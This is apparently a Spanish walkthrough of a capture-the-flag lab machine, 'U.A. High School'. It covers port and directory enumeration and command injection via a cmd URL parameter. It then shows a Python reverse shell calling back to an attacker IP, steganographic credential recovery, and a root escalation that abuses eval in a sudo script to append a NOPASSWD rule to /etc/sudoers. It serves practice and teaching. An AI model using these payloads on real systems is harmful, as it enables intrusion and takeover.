U.A.HighSchool

10.10.204.93 Linux Fácil

Enumeración

Nmap

sudo nmap -sC -sV 10.10.204.93

Resultado:

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: 3072 58:12:f5:ec:12:3b:a9:fe:81:8a:8e:2d:d8:91:21:d2:76 (RSA) 256 54:1f:20:5f:d:7c:f3:24:62:47:8a:fb:8a:b2:29:c2:bb (ECDSA) 256 62:16:f8:c9:60:0f:70:1f:6a:11:ab:a8:33:79:b5:5d (ED25519)

80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: U.A. High School)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Características detectadas:

  • Puerto 22: Servidor OpenSSH (8.2p1)
  • Puerto 80: Servidor Web Apache (2.4.41)

Acceso al portarl web (Puerto 80)

http://10.10.204.93:80
foto

Figura 1: Portal Web

Si inspeccionamos el contenido de la web veremos que existe una carpeta assets

foto

Figura 2: Identificación de la carpeta /assets

si accedemos a ella veremos una web en blaco: http://10.10.204.93/assets/

foto

Figura 3: Acceso a http://10.10.204.93/assets/

Enumeración de directorios web

gobuster dir -u http://10.0.2.6/assets -w /usr/share/seclists/Discovery/Web-Content/common.txt
foto

Figura 4: Enumeración web con Gobuster

Veremos dos URLs accesibles:

  • http://10.10.204.93/assets/images
  • http://10.10.204.93/assets/index.php
  • (La que nos interesa es la segunda URL)

foto

Figura 5: Acceso a http://10.10.204.93/assets/index.php

En la primera URL no encontraremos nada, pero en cambio en la segunda URL veremos que está vacía, pero vamos a modificar la URL para intentar ejecutar comandos

http://10.10.204.93/assets/index.php?cmd=whoami
foto

Figura 6: modificación URL para insertar un cmd

Obtendremos la respuesta en Base64, por lo tanto debemos decodificarla, para ello usaremos la terminal con el siguiente comando:

echo "d3d3LWRhdGEK" | base64 -d

Resultado:

www-data

(Esto nos da a entender que somos el usuario www-data)

Explotación

Reverse Shell

Intentaremos establecer una revershell creandola con https://www.revshells.com/

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.2.107",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
foto

Figura 7: modificación URL para insertar una Reverse Shell

Antes de ejecutarlo debemos abrir un servidor a la escucha con netcat

nc -lvnp 4444
foto

Figura 8: Conexión de la Reverse Shell

Con la conexión establecida debemos dirigirnos a /var/www/Hidden_Content y allí encontraremos un archivo llamado passphrase.txt

cd /var/www/Hidden_Content
cat passphrase.txt
foto

Figura 9: Acceso a la ruta: /var/www/Hidden_Content

Obtendremos una cadena en Base64, por lo tanto debemos decodificarla, para ello usaremos la terminal con el siguiente comando:

echo "QWxsbWlnaHRGb3JFdmVyISEhCg==" | base64 -d

Resultado:

AllmightForEver!!!

Ahora nos dirigimos a esta ruta: /var/www/html/assets/images
(En esta ruta veremos dos imágenes)

cd /var/www/html/assets/images
foto

Figura 10: Acceso a la ruta: /var/www/html/assets/images

Exportamos las imágenes con el comando wget

wget http://10.10.204.93/assets/images/oneforall.jpg
wget http://10.10.204.93/assets/images/yuei.jpg

La única que nos interesa realmente es oneforall.jpg

foto

Figura 11: Descargamos la imágen oneforall.jpg

La foto oneforall.jpg está corrupta, así que debermos arreglarla usando la herramienta MagicBytes:

https://github.com/Haxrein/MagicBytes
git clone https://github.com/Haxrein/MagicBytes.git
cd /MagicBytes
python3 magicbytes.py -i oneforall.jpg -m jpg
foto

Figura 12: Utiización de MagicBytes

Veremos que la imagen oneforall.jpg ahora es accesible

foto

Figura 13: oneforall.jpg

Ahora podemos usar Steghide y encontrar una pista secreta en la imágen oneforall.jpg:

sudo apt update
sudo apt install steghide
steghide extract -sf oneforall.jpg

Nos pedirá una contraseña: AllmightForEver!!!

Resultado:

steghide extract -sf oneforall.jpg
Enter passphrase:
wrote extracted data to "creds.txt".

Esto nos exporta un fichero creds.txt, el cual podremos visualizar sin problemas, este fichero contiene las credenciales de acceso SSH

foto

Figura 14: creds.txt

Acceso SSH

Con las credenciales obtenidas anteriormente, procedemos a establecer una conexión SSH con la máquina objetivo

ssh deku@10.10.204.93
foto

Figura 15: Acceso por SSH

User Flag

Una vez establecida la conexión SSH podremos ver la user flag (user.txt)

cat user.txt
foto

Figura 16: User Flag (user.txt)

Escalada de Privilegios

Ejecutamos sudo -l y nos desplazamos al archivo feedback.sh en /opt ya que es donde tenemos privilegios

sudo -l
foto

Figura 17: Privilegios sobre feedback.sh

cat /opt/NewComponent/feedback.sh
foto

Figura 18: Contenido de feedback.sh

Desglose de feedback.sh

Características detectadas:

  • Muestra un mensaje de bienvenida.

  • Pide al usuario que escriba un feedback.

  • Revisa si el input contiene símbolos peligrosos como: `, ), $(, |, &, ;, ?, !, \

  • Si no tiene esos símbolos:
    • Lo imprime usando eval (¡peligroso!).
    • Lo guarda en /var/log/feedback.txt.
    • Muestra "Feedback successfully saved."

  • Si sí tiene símbolos peligrosos:
    • Muestra "Invalid input."

Nos centraremos en la sección "Eval", aquí es donde podemos hacer la actualización de autorización.

Usaremos este código para el feedback y así poder modificar el fichero /etc/sudoers:

sudo /opt/NewComponent/feedback.sh
deku ALL=NOPASSWD: ALL >> /etc/sudoers
foto

Figura 19: Explotación de feedback.sh

Si probamos sudo -l con el usuario deku veremos que ahora si pertenecemos al grupo de root

sudo -l
foto

Figura 20: El usuario deku quedará establecido como root

sudo su
foto

Figura 21: El usuario deku podrá elevar sus privilegios a root

Root Flag

Una vez establecidos como root veremos que podremos acceder a la root flag (root.txt)

cd /root
cat root.txt
foto

Figura 22: Root Flag (root.txt)